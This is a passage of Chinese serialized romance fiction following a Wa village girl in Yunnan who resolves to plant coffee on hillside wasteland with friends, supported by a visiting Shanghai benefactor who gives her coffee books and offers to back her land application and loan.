依朵昂了昂脑袋,一口气道:“合作社的培训课我都认真听了!还有我自己种咖啡的心得,我也都写了笔记。”
温聿白忽然说:“我能看看吗?”
依朵:啊?
看她记的笔记吗?
那个鬼画符一样的笔记?
男人轻声问:“可以吗?”
依朵耳尖烧了起来,结结巴巴说:“可可以的。”
于是几人又转到依朵家。本来依朵说她回去拿,但是温聿白想看看她种的咖啡树,最近的三棵就在依朵屋子后的菜园外,这才全部跟着过来。
此时还不
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到咖啡成熟的季节,只有一串串绿油油的小果实挂在树叶间,别提多好看。
温聿白翻过一片树叶,露出底下藏着的绿果,其中一颗又大又圆的果实已经泛着红,是早熟的迹象。
红果咖啡豆是可以摘下来生吃的,果皮下的果胶会有一层淡淡的甜味。
第一颗红果,依朵当然是摘给了温聿白,但他并不吃,只捏在手里把玩。
白皙修长的手指和红艳艳的果实十分相称。
依朵都有些羡慕那颗红果了。
看完了果树,自然就进了依朵家,比起村长家新房子的干净明亮,全木头搭建起来的屋子就要昏暗脏乱许多。
依朵将人带到廊房,前几天才在这里剥完全部玉米,打扫过,相对来说干净一些。
给客人端了板凳,她正要跑去灶屋倒水,阿妈提着簸箕背着背篓回来了,她身后跟着个身材魁梧的男人。
杨浩见到依朵点了点头,抱着手里的书上了楼梯,“先生。”
温聿白接过书,比比旁边的板凳让他坐,随即扭头唤了声:“依朵。”
依朵一只脚已经跨出门外了,闻言愣了下,不可置信地扭头看他。
这还是他第一次喊她名字。
温聿白拍拍书,“不用忙活了,来看看书。”
赵满田忙给站在门外偷瞄的叶嫩妹使眼色,一边说道:“是呢,依朵莫忙咯,快进来。”
依朵扭头看了眼阿妈的背影,随即转回身进屋,罗子衡不着痕迹地搬着板凳让开位置。
依朵一心放在男人手中的书籍,见有人让开位置,忙不迭凑近了些,像个好奇宝宝。
温聿白笑了笑,拿起第一本《咖啡咖啡》给她,“这本涵盖的内容比较广,从咖啡的历史文化到咖啡种植以及生产加工的一系列内容,我想对你应该会有帮助。”
依朵开心极了,接过后翻了翻大概的目录,随后合上书,露出一口白白的牙:“我一定会好好看完的!”
温聿白递给她第二本,《精品咖啡学(上)》,说:“这本是台湾咖啡界的资深专家韩怀宗老师所著。他被誉为‘华人咖啡教父’,对咖啡研究极为透彻。今年刚出版了这本精品咖啡,里面有国际咖啡的流行趋势解剖、完整品种的产地剖析,你闲暇的时候可以看看。”
依朵嘴巴张成了O形,忙双手接过,打开一看,顿了下:“咦?怎么会是繁体字呀?”
她纯粹是惊讶,因为第一次看见繁体字的书。
罗子衡在旁边解释道:“这本书一经上市就被咖啡爱好者们抢购一空,先生还是托了在台湾的朋友才弄来一本。”
依朵惊得不知该怎么感谢他才好了,忙不迭道谢:“谢谢!劳您破费了。”
赵满田也忙说:“就是就是,没了就没了,怎么还大老远费心费力呢……”
温聿白笑着摇了摇头,问她:“能看懂繁体字吗?”
依朵再次翻开,看了眼目录,点头:“大部分还是看得懂的。”
“那你先看着,等简体版的再版了我再给你送一本。”温聿白把最后一本拿给她,依朵赶忙接过,却见封面上全部都是英文。
她愣住了,细细看一眼,只看懂The Blue和Coffee三个单词。
她已经很久很久,久到她都快忘记她也是学过英语的。
初中三年,高中一年。
可已经太久了啊,从她辍学到如今,已经整整六年了。
温聿白见她盯着封面不出声,便知道她不懂英语,眸中划过一丝懊恼。是他考虑不周了。
“往后应当会有翻译版,不懂也没事,就当收藏放着好了。”
依朵却抬起头,炯炯有神的双眼期待地看向他,“它叫什么名字呀?”
对上那双求知若渴的眼睛,温聿白一时说不出话来。
她没觉得难堪,也没觉得是他的失误,哪怕看不懂英语,她依旧想要了解内容。
像一棵生在苍天大树下也茁壮成长的小树。
一丝雨露阳光、一份难得的知识,都是她的养分。
他心脏微滞,而后开口:“《蓝瓶咖啡的匠艺》,是蓝瓶咖啡创始人James Freeman的经典著作,讲述了精品咖啡的诞生。”
一大串普通话中突然冒出一句地道英文,他说得流利,是那样的好听。
依朵有些贪心,还想再听他说外语,“书名,能用英语再说一遍吗?”
他有求必应:“The Blue Bottle Craft of Coffee.”②
10. 第 10 章
[他送我一本书,是托举我走向国际、走向世界的根基,哪怕时光已不再,我也会永远记得。]
chapter 10
原来这本书的英文读法是这样的。
真好听。
依朵在心底默默重复了两遍,将书抱起,郑重其事道:“我一定会全部看完的!”
不会读没关系呀,反正家里还有之前上高中时的英文词典,一个单词一个单词查,漫长一生,总有查得完的时候。
这可是他送给她的书,是托举她向外看的基石,她一定会看完的。
山再高没事,路再远也不怕。
因为有人,跨过万水千山,将外面的世界,亲手递到了她的手上。
她定会加倍珍惜。
温聿白自然不会打击她的信心,笑着说:“有看不懂的可以给我打电话。”
依朵耳边空了一瞬,随即倏地看向他,嗓子有些发干。
他能再来,已经是上天给到她最大的礼物了。
她万万不敢再奢求其他。
这短短半天,她用慢了十倍的流速来珍惜。
珍惜他在这里的每一分、每一秒。
“打、打电话?”
温聿白已经垂首捞出手机,依然是那个白色的智能机,修长的手指滑开锁屏,边点开拨号页面边问:“你号码是多少?”
依朵愣愣看着他,一时间没说话。
赵满田羡慕地推了推她,“温先生问你话呢!”
依朵吞了吞喉咙,干巴巴地报出一串数字。
温聿白挨个点下,随后拨通号码。
几秒后,不远处的屋子传来铃声:“老人的线紧牵,爱的信念——”
所有人抬眸往外看去,依朵愣了下反应过来,忙不迭跑出去,一把抓起床上的手机按了挂断。
随后看了眼通话记录,归属地是上海,原来这就是他的号码呀。
虽然只是平平无奇的十一个数字,但因为是他的,莫名有了不一样的意义。
她想,这一生她都不会再换手机号了。
依朵小心地存了号码,拿着手机回到廊房。
阿妈提了茶水过来,不好意思过去,依朵便接过提了进去,挨个倒好茶水,递到男人手上时,她抬起眼看着他,认真说:“号码我存下了。”
温聿白嗯了声,回视她,说:“有事也可以给我打电话。”
依朵翘起唇角点点头,他又问:“还想种咖啡吗?”
“当然!”姑娘眼里迸发出超强的坚定意志。
温聿白对上那双生机勃勃的眼,罕见地愣神两秒,才问:“哪怕没地?”
依朵摇头,说:“不怕,我会想办法的!”
赵满田也说:“我会再帮依朵劝劝她阿妈的。”
温聿白转眼看他,“梦县所有政策都会落实到每一个村寨么?”
赵满田点头:“这是当然的。”
温聿白唔了声,说:“既然这样,那么去年《茶城市十二五期间关于咖啡发展规划》,以及云南省《关于引导和规范农村土地经营权流转发展农业适度规模经营的实施意见》中,有明确提出:为发展农民经济,统一规划土地使用更改措施,在不改变土地农业用途、严守耕地红线之外,可优先使用山地、林地(非公益林)、荒地作为农业发展用地。这其中,也包括了咖啡发展种植。”①
“而梦县在这基础上更是大力鼓励老百姓开荒种咖、建设咖啡生态园区,发展咖啡产业——也就是说,依朵不必非要占用自家农用耕地,可以另批荒地用来种咖啡,我说的对不对?”
“这……”赵满田顿住了,吞了吞喉咙,“您说的确实是。但是……这个政策,它要求咖啡种植面积不低于——”
他颤颤巍巍地伸出三根手指,“三百亩呐。”②
这也是他最初考虑放弃的原因之一。
三百亩呐,整个寨子的土地加起来差不多也就这么点。
林地、荒地倒是多,可偏偏寨子里没人敢种咖啡,光凭依朵一个小姑娘,村委会那关就过不了。
温聿白眉头微锁,转而看向依朵,“三百亩确实不少,你敢种么?”
依朵嘴唇抿得发白,“必须得三百亩吗?”
赵满田点头:“前年政策下来的时候我就去问过了。”
依朵:“……”
粗糙的手指紧紧攥在一起。
她从来没想过那么大的面积,几十亩都已经是她的极限了。
姑娘漆黑的眼睛里有着为难与挣扎,眼神的光茫也逐渐暗淡,温聿白心底不知为何覆上一层阴霾。
她的生命力是那么的顽强,就该热烈地生活下去。
屋子里静悄悄的。
不过片刻,他心中已有对策,刚捞出手机,门外忽然传来清脆的一声:“依朵,我跟你干!”
一屋子的人纷纷扭头。
穿着盛装的依慧大步走上来。
赵满田老脸一抽,瞪了她一眼,“你少给我来凑热闹,玩你呢克!”
“阿爸,我没有要凑热闹,我说真的。”
依慧转头,看向依朵,“不就三百亩嘛,我家一百亩,你家一百亩就两百亩了,剩下的我们问问寨子里的人,哪怕是死缠烂打,我们也把地给批下来。不然错过这个机会,我们就要永远穷下去了!”
赵满田在她豪迈地说一百亩的时候就已经伸手掐人中了,怒道:“赵一慧!你再给老子吹一句牛逼试试!”
依朵也以为她开玩笑的,干巴巴的苦笑一声:“你说真呢噶……”
躲在门外偷听的叶嫩妹没忍住了,进来就拍了依朵一巴掌,骂道:“你个背时婆!你是嫌家头(里)差呢债还不够多噶?你还嫌你哥不够累噶?”
依朵抿唇:“我的事和阿哥没关系,我不会牵扯到他。”
叶嫩妹板着脸:“反正我不同意,你想都不消想!”
依朵压在心底的气倏地蹿上来,她一下站起来:“凭什么不给我种?我又没占着家里的地,我自己克外头批荒地来种,不消你管!”
“你还跟我犟!”叶嫩妹气急,抬起手就要打她,温聿白忽然站起来,将依朵拉到身后,沉声说:“阿姨,有话好好说。”
司机杨浩也倏地站起来,在旁边虎视眈眈盯着。
叶嫩妹心一颤,对上男人挺拔的个子和锐利的眼神,吓得一句话也说不出来,手掌蜷缩回来,气得咬牙,转身就跑了出去。
温聿白给司机使了个眼色,杨浩快步追出去。
依朵躲在男人身后,清浅的气息从他身上传来,她看向他的后背,是那样的宽阔挺拔,眼眶不自觉地浮起酸雾。
原来被人护着,是这样的感觉。很想哭。
“没事吧?”男人转回身看她。
依朵摇了摇头,深吸了口气把雾气憋了回去,转头看向依慧,“你真敢跟我一起种咖啡吗?”
赵满田扯了一把女儿,打着哈哈:“她开玩笑呢。”而后扭头瞪了眼依慧,“书都还没读完就回来种地,你怕是要你老子白白供你了!”
依慧撇嘴:“反正以后还不是要回来种地,早种还能多一个机会,晚种就赚不得钱咯。”
“你还跟我横辩五辩呢!”赵满田鬼火冒了,四处找棍子,“你真真是皮子痒了!”
依慧梗着脖子昂着脑袋:“你打死我得了!”
赵满田:“……”
刚拿到手的棍子打也不是,不打也不是,完全下不来台。
温聿白按了按太阳穴,扭
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开头不看,却无端有些想笑。
罗子衡也憋着笑,赶忙上前去隔开两人,“叔叔,有话好好说嘛。”顺手把棍子给抽走了。
这下尴尬了,赵满田只能气呼呼地瞪着女儿:“你又不会种咖啡,整那么多土地以为好玩噶?”
依慧看向依朵,抬了抬下巴说:“她会种就行啦,我相信依朵啊。”
赵满田还想再说话,温聿白忽然出声:“我也信她。”
依朵怔怔地看向他,嘴唇轻轻颤抖。
“……”赵满田看看他,再看看不像开玩笑的女儿,暴躁如雷地抓了把后脑勺,不说话了。
乱糟糟的屋子霎时静了下来,依朵视线从男人身上挪到从小一起长大的依慧身上,忽然抬手擦了把眼睛。
“好,既然你们信我,那我也不会辜负你们的信任。”
她一咬牙:“一百亩,我干了!”
“叶依朵,你给我闭嘴!”阿妈的骂声从屋外传来。
不多会儿,岩大龙的身影出现在楼梯口。
所有人的目光看过去,岩大龙一上来就对上温聿白黑沉的眼眸,脸皮扭曲了下。
他这弟妹也真是的,怎么不说温先生也在。
飞快转开目光去看赵满田,却见他满脸郁闷,看样子是同意依慧跟着种咖啡的事了。
他沉吟片刻,说起马普:“反正没用着家里的地,依朵要种么就给她种。”
叶嫩妹一顿,不敢置信地扭头看向岩大龙。
她不是请他来说服依朵的么?
岩大龙没转头,话音加重:“但是,不准连累到家里,你给认得?”
“勐山在外面打工也不容易,你也要为你哥考虑考虑。那个咖啡以后要是亏了赔了,你也不要来找你阿妈还有我们,你给认得?”
罗子衡皱了皱眉,“哎你这人……”
温聿白拉了他一下,转而看向依朵。
姑娘咬紧牙龈,似是想哭,但死死忍住了。
她自己明白是一回事,但被至亲的人这样提出来,眼泪就是忍不住。
她昂起头,没让眼泪掉下,狠狠说:“我认得了!”
岩大龙甩手走了,叶嫩妹张了张嘴,伸手夺过依朵的电话,给在远方打工的岩勐山打去了个电话。
不多会儿,她板着脸回来了。
手机一丢就走人,不再多说一句话。
连最难搞的依朵家都不管她了,赵满田自是没话说。
只是把女儿承包的荒地面积死死控制在一百亩之内,多一个平方都不敢给依慧。
他也有他的担忧,毕竟只是两个年轻的小姑娘。而依朵背后又没有长辈支持,她一口气也吃不下那么多荒地面积。
因此两人加起来也才两百亩。
依朵抹把眼睛,她会想办法凑满三百亩的。
两百亩,比温聿白预期中好太多了。
“已经很不错了,别担心。”他安抚姑娘,“你们先去看地,到时候去国土局审批时记得给我打电话。”
赵满田一愣,猛地看向温聿白。
这话相当于托底了。
也就是说哪怕只有两百亩,他也有办法帮依朵把地给批下来。
别人这样说他只会认为那人在吹大牛。但这是温聿白,是连县委书记都亲自来接的人。
赵满田相信他有那个能力,立马拍着胸膛保证:“温先生你放心,我会在旁边盯着呢。”
温聿白颔首:“那就劳烦您替她们俩小姑娘把着关。”而后又看向依朵,“有想做的事就大胆去做,遇到困难就给我打电话,知道吗?”
依朵怔怔点头,胸腔上蔓延起一股巨大的酸涩浪潮。
再没有人,能这样无条件地托举她,连父母都做不到。
11. 第 11 章
[要常联系,也不要把我忘记。]
chapter 11
“唵(ong)——”
下午四点,寨子中央忽然传来一声悠长浑厚的号角声,这代表着新米宴即将开席。
与此同时,一群小孩站在依朵家外大声呼喊:“吃饭咯!”
“颂!!”
“吃饭啦!”
“认得咯!”赵满田扭头应了声。怕耽误贵客的时间,他便先带着人回寨心。
至于选用哪片荒地,他说之后会带着依朵去实地查看土壤后再做抉择,温聿白也说如此更好。
几人原路返回,寨心老树下的长排桌子上已经铺好了洗过的芭蕉叶。
往年的新米宴都是铺在地上的,今年或许是怕贵客不习惯,巴猜便出动了各家的桌椅,这才换成了长桌宴。
绿油油的芭蕉叶上放着一堆堆白紫两色的大米饭,还有一份份烤猪肉、炒牛肉、凉拌鸡丝、舂凉菜,以及各种各样的鲜果蔬炒,还有极具特色的爆炒蚂蚱和蜂蛹。
寨里的妇人们还在炉灶边麻利地炒菜,姑娘小伙们来来往往上菜,男人们回家端板凳的端板凳,提酒的提酒,只有小孩们在宴席周围欢快地跑来跑去。
山里青烟漂浮,孩童的欢笑声中夹杂着饭菜的香气,是佤族人民平凡朴实的一天,却让人打心底觉得生活幸福。
温聿白看着眼前忙忙碌碌的背影,久违地感到平和。
这或许就是他不远万里,跋山涉水也要赶赴边境的意义所在。
哪怕这个项目耗时又费力,甚至无人看好,但只要有人做了,这些接壤他国边境的百姓,这些像依朵一样的生命,就能不被侵扰地生活下去。
他不愿再听到外交新闻冷冰冰地报道边境之地又被非法入侵,甚至是死人。
他选择云南,便是基于年初事件的影响。①
以及,他还想挣扎着,再呼吸一口新鲜的空气。
“温先生,您来这边。”
赵满田站在长席主位的旁边,伸手比了个请的动作,巴猜也站在旁边,苍老的脸上是朴实的笑容。
温聿白推辞了,就近坐在中间的普通位置,罗子衡和杨浩也在旁边跟着坐下。
赵满田无法,只能把巴猜按在主座,自个则小跑过去在三人对面坐下,寒暄道:“温先生晚上要是没事,不如留下来住上一宿……”
罗子衡接话:“今晚得回市里,不然赶不上明天上午省地质勘测研究院召开的会议,就不多留了。”
赵满田心道真是了不得,嘴上忙应:“这样嘎,么赶路辛苦了,等会多吃点噶。”
温聿白颔首应好。
不多时,菜上得差不多了,巴猜招呼着寨子里的男人们也都过来坐下。
等全部位置坐满,清一色男人。
温聿白扫过一圈,眉头不着痕迹地皱了皱,连一直板着脸做背景板的杨浩都不由得侧目。
更别提罗子衡了,直接就问身边的男人:“怎么姑娘们不吃饭吗?”
被问话的斯诺有些不自在,搓了搓手,说起生硬的普通话:“她、她们在那边吃着咯。”说着伸手指了下火塘边。
罗子衡昂起脑袋看过去,烟熏火燎的炉架旁边,女人们或蹲或站地端着碗吃饭。
年轻一点的姑娘们则在旁边的地上铺了几片芭蕉叶,围在一起蹲着吃,还有几位忙碌的妇女们没顾得上吃饭,提着锅和勺子过来加菜。
他侧过头凑近温聿白,小声说:“先生,佤族女人不能上桌吃饭是真的。”
温聿白沉了沉眉头,问道:“依朵呢?她要是还没吃,喊她过来跟我们一起。”
罗子衡立即站起来往火塘边看去,他这个动作太突兀,导致一桌的男人们立马停止交谈,直愣愣地看了过来。
晌午那会儿,赵满田和依朵带着这三人走后,寨民们瞄着走在中间那道气宇轩昂的背影,猜测应该就是之前被依朵救了,后来被成排汽车接走的那位大人物。
之后更是在寨子百事通岩大龙的肯定下确认了,因此这会儿坐在一起吃饭,大家都有些拘谨。
看清依朵已经跟年轻姑娘们一起蹲在芭蕉叶前吃着饭了,罗子衡坐下,抬起手遮在嘴边,小声说:“依朵姑娘已经吃着了。”
温聿白便没说话。
赵满田心知如今改革开放,一些封建糟粕要不得,可这也是他们佤族流传至今的习俗,轻易是改变不了的。
只能打着哈哈:“来来,温先生您远道而来,我代表我们寨子敬您一杯,如有招待不周之处,还请多多见谅。”
罗子衡忙端起面前的酒碗?碗??
他一瞬瞪大了眼。
不确定,再看看。
顺着长席望到头,还真是一排的酒碗。
他吞了口口水,端起来歉意道:“不好意思,先生身体原因不宜饮酒,这碗酒我替他喝,感谢贵寨的热情招待。”
赵满田笑呵呵地说:“不有得事不有得事,谁喝都一样。”说完仰头一口,爽快干完。
罗子衡眼皮子剧烈一跳,云南人喝酒果然厉害。
看来他逃得了腾冲酒蒙子,却逃不过梦县的酒碗子了!
眼一闭,端起来就喝。
赵满田笑着说:“晚上还要赶路,罗秘书意思意思喝点就行啦。”
罗子衡立即放下酒碗。不早说。
赵满田笑眯眯的,又介绍起桌面上的特色菜来。
“这个鸡肉烂饭呢是我们寨子的主食之一……”
“这个是蚂蚱,这个是蜂蛹,用香油爆炒出来,味道那叫一个绝……”
罗子衡瞄了眼昆虫,瞬间鸡皮疙瘩冒了一背,连忙收回视线。
云南人真猛,连虫都敢吃。
旁边的斯诺却以为他喜欢,拿起没用过的筷子夹了三大只放进他碗里。
冷不丁看见碗里胖乎乎的虫子,罗子衡:“……”
“嘿嘿,好吃呢好吃呢。”斯诺笑出一口白牙。
罗子衡干巴巴地笑了下,连碗都不敢端了,侧头小声呼救:“先生……”
岩大龙就坐在他对面,见状连忙站起来:“我来我来——”
然而温聿白已经伸筷夹起一只,神色淡然地看了看炒得焦黄的虫子,在罗子衡惊恐的目光中放入嘴里。
“先生,怎怎么样?”
温聿白嚼了嚼,点点头:“嗯,味道确实不错。”
赵满田松了口气,瞪了眼看不懂眼色的斯诺一眼,而后伸手端过罗子衡面前的碗,又换了个新的给他,“罗秘书再尝尝其他的菜。”
舂鸡爪被端了过来,罗子衡又高兴了。
一顿晚宴算得上是宾主尽欢。
用完晚餐时已近黄昏,太阳将落未落,像个橘子一样挂在山头,余晖将山林都染上了朦胧的秋黄色彩。
温聿白还要回去市里,路途遥远,赵满田也不多留,只说下次再来。
男人应了声,视线不着痕迹地扫过一圈。
依朵正蹲在大盆面前忙着洗碗,但眼珠子却像是生了根一般,频频往寨口看去。
赵一慧看不下去了,将收来的碗筷放下,伸手夺过她的碗,没说话,只往后抬了抬下巴。
依朵眼睛一亮,连
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谢谢都来不及说,站起来就往那边跑去。
温聿白正好转头,见她跑得急急忙忙,临到近前了还被脚下石头绊了下,跌跌撞撞往前冲来。
他伸手扶住她的胳膊,“小心,跑那么急做什么。”
依朵扶着他的手站稳,掌心下的皮肤温热有力量,她的胸腔里仿佛又揣了头横冲直撞的小鹿,在砰砰砰乱跳。
她小声说:“怕你走了。”
见她站稳了,温聿白放开手,“自然是要等你的。”他往泉水边看去,“碗洗完了?”
依朵哑声回:“……没有呢。”而后仰起头,看着他,连声音也轻了,“碗什么时候洗都可以,但是一定要来送你。”
温聿白笑笑,夕阳轻柔落在他的脸上,眉目是那样的温柔俊朗。
依朵心脏紧缩一瞬,再缓缓扩张。
她忽然发觉,他没了初见的疏离,也没了重逢第一面时的冷漠。
相识不过短短几天,他的温柔与教养都是从骨子里透出来的。
似乎,他性格的底色,本就极具温柔。
可就是他这样温柔的人,时光对他是有多不好,才会在重逢的那一刻满脸冷漠,心存死意。
依朵垂首,没忍住揉了揉眼睛。
她也不知道为什么,眼睛会酸得厉害。
“怎么了?”他侧首问。
依朵瓮声瓮气:“没,风吹了下眼睛。”
男人走到外侧,用身体挡住了吹上来的山风。
她站在他身后,心脏一瞬间被他赋予的温柔浪潮溺毙。
或许此生,都再也难以上岸。
几人往寨口小路走去,温聿白侧头看她一眼,依朵怔怔跟上。
一辆沪A牌照的黑色轿车停在寨子口的路边。看见它的那一瞬,依朵才真真切切意识到,他又要走了。
杨浩快步上前去打开后座车门。
依朵不由得侧目看向身旁的男人,他的步子依旧不紧不慢,赵满田在旁边絮絮叨叨展望着未来的咖啡发展前景。
他偶尔应上一声,有时会提起西方许多国家对咖啡的市场定位以及欢迎程度,熟悉得好像他当真在那些国家待过一样。
明明是她最感兴趣的话题,可依朵怎么也听不进去,只是看着越来越近的车,便会想到越来越远的距离。
“依朵。”
“依朵?”
赵满田拐了下她,依朵猛地回神,温聿白已经站在车边了,漆黑的眼睛看着她,莞尔问:“想什么呢那么出神?”
依朵赶忙摇头,嘴唇张张合合却一句话也说不出。
温聿白摇头失笑:“时间不早了,我要走了,有事给我打电话。”
依朵艰难点头。
她是那样的不舍。
不舍他离开,不舍这片光阴就要稍纵即逝。
但她只能站在原地,抬起手摇了摇,叮嘱:“路上注意安全哦。”
温聿白颔首,折身坐进车里,车门被关上。
他降下车窗,比了个打电话的手势。
依朵强忍着一股又一股涌上鼻头的酸涩。
点头,再狠狠点头。
——要常联系。
也不要,把我忘记。
哪怕我只是你万般精彩的人生中,一个微不足道的小小人物,也请多记得我一段时间。
黑色汽车开走了,驶入寨子下方的梦缅乡道时车尾灯红了起来,黄灰飞扬而起,红色尾灯也渐渐消失不见。
村长走了,天色晚了,依朵依旧站在原地。
山风骤然张狂,却也吹不散天边留恋的晚霞晚霞。
12. 第 12 章
[山里姑娘,似乎很难走出大山。而我,想做那个带她们走出大山的第一人,尽管这个希望很渺茫。]
chapter 12
“小燕,又克放牛了噶。”
新米节后一连出了几天太阳,依朵上午跟阿妈割稻谷,中午去放牛,在放牛期间就跟着村长和依慧去找荒地。
寨子地处深山,别的不多,荒山林地特别多,但也不是每一处的土壤和水质都是好的。
他们跑了一个多星期,终于在老黑山分支处找到一座荒山的土壤很适合种咖啡。
就是隔得远,要翻两个山头,但村长说没事,以后反正是要扩大种植基地,远有远的好处。
这天她把牛放上山坡,在路口等着村长和请假留下来的依慧过来,一转头就看见小燕赶着她家的三条牛从路那头过来,便伸手打了声招呼。
田小燕一如既往的不理人,赶着牛往前走去。
依朵也不介意,随口一问:“小燕,给跟我一起种咖啡呢?”
原以为还是不理人的结果,谁知她忽然停下脚步,转回头直愣愣地盯着人,哑着嗓子开口:“你种咖啡,整什么?”
依朵昂起脑袋:“当然是卖钱啦!我跟你说,在上海那些大城市,人家早在四五年前就开始喝咖啡了。现在年轻人越来越喜欢咖啡,对咖啡的需求也与日俱增,市场前景好得不得了呢。”
田小燕不说话,也不再看她,但也没走。手里的放牛棍漫无边际地甩着。
依朵眨了眨眼,随意的态度收了起来,几步走过去,轻声说:“小燕,跟我一起种咖啡吧。”
“你也要为自己以后做打算呀。你现在什么都顾着你弟弟们,帮他们干活计、挣钱给他们花,以后他们讨了媳妇不会感谢你的,只会嫌你是累赘。”
田小燕沉默不语,她家两个弟弟,阿爸阿妈连初中都没让她读完,只读了一个学期就把她撵回来干活。家里有好吃的全都给了弟弟们,甚至她穿的都是捡弟弟们穿不了的衣服。
她今年刚满二十,两个弟弟也都十六七了,一个都没考上高中,全部去了职高混日子。
而她,一天到晚、一年四季都有干不完的活计,放牛反而是她最轻松的一项了。
这样的日子,她也不知道哪天是个头。
依朵叹了声:“其实我们姑娘家还是要多为自己考虑呢。不管你跟不跟我种咖啡,我都想说你真的要为自己考虑,莫信你阿妈说呢什么以后你嫁出去了,你弟弟们给你撑腰这种话,这就跟赶骡子在它前面放把草是一样呢,骡子还能得吃,你以后能有什么?”
小燕头垂得更低了。
依旧不说话,跟着牛往前走去。
没人能叫醒装睡的人,好言难劝该死的鬼。
依朵抿了抿唇,停下脚步不再多话。
“咔-咔-咔——”
路下方的树林里忽然传来砍柴声和说话声:“婶子,你家小燕也二十了,给要相看起来了?”
“还早呢,小光跟小富都还在读书,她这哈嫁出克了家里没人干活计了嘛。”小燕阿妈笑着说,“等兄弟俩毕业么再嫁得呢,正好拿彩礼钱给俩兄弟讨媳妇。”
问话那人似是有些无语:“……那时候么不好说人家了嘛。”
小燕她妈说:“怕哪样,上寨在外打工那个有钱得很呢!我先前克问过了,人家瞧得上小燕呢。”
那人诧异:“你说上寨那个老光棍?听说都四十二了,怕扎实老了些,而且房子也不有盖得……”
小燕她妈笑嘻嘻地说:“老什么老,人家给六万彩礼钱呢,刚好够小光跟小富讨媳妇了……”
依朵立马去看田小燕,女孩瘦脱相的大眼布满水雾,双手紧握,瘦小的身体摇摇晃晃。
她飞快走上前去扶住女孩,拉着她远离这地,怕小燕阿妈再说出些什么杀人诛心的话。
田小燕大脑已经一片空白。
她虽然早就知道阿爸阿妈以后会把她远远嫁出去,可她没想到,竟是要榨干她最后的价值,是要把她卖出去!
上寨那个老光棍在整个班贺村委会那可是出了名的。家里房子破破烂烂,没有地,没有山,什么都没有。
阿爸阿妈,为了弟弟们,是要把她往死路上逼啊。
都是他们的孩子,怎么能偏心到这个地步。
就因为她是姑娘吗?
如果她有钱,如果她能赚钱……
田小燕死死睁大眼睛,忽然扭头,哑着声音问:“依朵,种咖啡真能赚钱呢噶?”
依朵喉头干涩,忽然感觉有一座无形的、沉甸甸的大山压在了肩头。或许她随意的一句话,就是眼前这个姑娘一生的浮木。
可依朵不会退缩,哪怕是闯,她也要闯出一条生路来,肯定点头:“当然能!”
田小燕看着她坚定的眼,嘴唇蠕动着,颤声说:“好,我跟着你一起种。”
反正不会再有比现在更差的了。
-
三轮车“咯吱咯吱”驶到路边。
赵满田和依慧见到小燕打了声招呼,随后便叫依朵:“走咯。”
不想依朵把小燕也给拉了上来,两人一脸问号。
依朵解释:“小燕也要跟我们一起种咖啡。”
赵满田皱了下眉头,“可是小燕家里不一定会支持她……”
小燕阿妈是个什么样的人寨子里可是有目共睹的,又攥又小气还爱斤斤计较。寨子里的人私底下都不敢跟她有什么利益往来,生怕被她坑。
依朵说:“我不也没人支持?怕什么,干就完事了!”
赵满田瞥了她一眼,嘀咕:“你跟她可不一样。”
几人中谁的靠山最大那可是一目了然。
赵满田看向小燕:“燕啊,种咖啡相当呢苦人呢噶,而且三年才挂果……”
田小燕只问一个:“满田叔,你就说种咖啡给能挣钱?”
赵满田一顿,想了想说:“以前不敢保证,但现在,只要你们敢种,我就敢保证能挣钱。”
有政策就不怕老百姓手里的东西卖不出去。
政府会管的,这个他倒是不担心。
田小燕一口气道:“那我种!”
赵满田:“……”
怎么感觉有点儿戏呢?
三轮车“咯吱咯吱”远去,绕了几个转弯后停在路边,几人下车,步行爬上山顶。
站在山坡上就能看清脚下绿油油的荒山有多么大。
赵满田说:“小燕,我们不是开玩笑呢,这就是依朵依慧以后种咖啡呢地方了。她俩各承包一百亩,你呢?打算要多少?”
田小燕怔怔地看着眼前已经拉上红线的荒山,她预感未来这里一定会种满成片成片的咖啡树,咖啡树上再结出红红的果子。
因为她见过依朵的那几棵咖啡树。
她内心头一次激动起来,却又瞬间冷静下去,问道:“承包地,要出钱吗?”
赵满田说:“那是当然,哪怕这片荒山都是我们寨子里的,都要按《农村土地承包法》来呢。我们南洛乡普遍都是120块一亩,这还算少的了,后头还有开荒啊、咖啡苗啊、种植啊、肥料啊都是大钱呢。”①
田小燕愣愣不能言,好半晌才艰难地说:“可我,没钱……”
依朵拍拍她的肩:“不怕得,温先生说了,我们现在种咖啡有政策补贴,承包种植咖啡的农户可以去农村信用社贷款的,不要利息呢。”
赵满田哼笑一声:“要担保人呢,或者是有地(茶地)有房可抵押的户主才可以抵押贷款。”
他看了眼依朵:“依慧么我给她找好担保人了,你自有温先生给你担保,可小燕她阿爸阿妈不支持,你让她咋整?”
依朵顿住,随即懊悔地皱了皱眉。
新米节后第三天,南洛乡农村信用社的经理就给她打来电话了。说是温先生已经交代过他们银行了,如果她需要办理贷款,拿着身份证直接过去就行。
因为不担心这事,这几天翻山越岭找地,她就忘了个干净。
田小燕沉默下来,眼里的光熄了,眼神又回归麻木。
站了片刻,她沉默转身,往来时的路一步一步走去。
依朵和依慧抿了抿唇,却也说不出挽留的话。
忽然,田小燕又跑了回来,漆黑突兀的眼睛死死盯着赵满田:“担保人有哪样要求?”
赵满田摸摸下巴:“有一定经济能力,再不行有土地有房子,结了婚的更好。”
田小燕眼睛亮了亮,第一次扬起一个生疏的笑容,“我认得咯!”
她看向依朵,“我还跟你种咖啡,但给可以等我几天?”
依朵点头,小燕咧嘴一笑,再次往来时的路跑去,背影透着几分轻快。
这或许,是她此生唯一能改变她命运的机会了。
下午,时间差不多了。
赵满田收好工具,几人从荒山上下来,依朵说:“满田叔,既然小燕也要跟着种咖啡,那我们就再等等,我再去问问我阿伯,说不定能凑得够三百亩,那样就不消麻烦温先生了。”
赵满田沉思着点点头:“能不麻烦温先生是最好呢,但你确定你阿伯会跟我们一起种么?”
当初领回来的那些咖啡苗被岩大龙种死之后,他就满寨子说咖啡有多金贵,有多烧钱,有多么多么难养活的话,说打死他也不种了。
依朵眼珠一转,笑着说:“这回有温先生了嘛。我想着他哪怕不想种,也会意思意思跟着我们种一些呢。”
赵满田一下反应过来,竖了个大拇指:“钓鱼执法,还是你懂。”
毕竟岩大龙那么爱钻研的一个人,当初邮政所的工作他不知道送了多少礼才竞争上,后来要不是骑车骑翻伤着腿,说不定还继续干着呢。
从他上回拐弯抹角地打听温先生的事就知道,这人心思又活络起来了。
依慧拐拐依朵:“不得了嘛你,都会搞套路了,是做生意当老板呢料!”
“莫瞎说,我连帐都算不清……”
“不怕,到时候我干财务部长,保管算得清清楚楚!”
“那我干什么呢?”
“你嘛——董事长咯!”
